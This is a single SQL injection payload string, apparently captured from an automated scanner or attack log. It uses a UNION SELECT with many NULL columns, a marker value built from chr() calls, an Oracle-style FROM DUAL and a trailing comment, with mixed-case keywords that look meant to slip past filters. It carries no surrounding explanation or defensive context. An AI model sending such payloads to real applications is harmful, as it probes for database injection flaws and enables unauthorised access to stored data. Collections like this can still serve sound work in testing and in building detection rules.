1； and 1=0 uNion All Select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,chr(57)||chr(49)||chr(57)||chr(52)||chr(49)||chr(49)||chr(52)||chr(57)||chr(98),NULL,NULL FROM DUAL— fVWU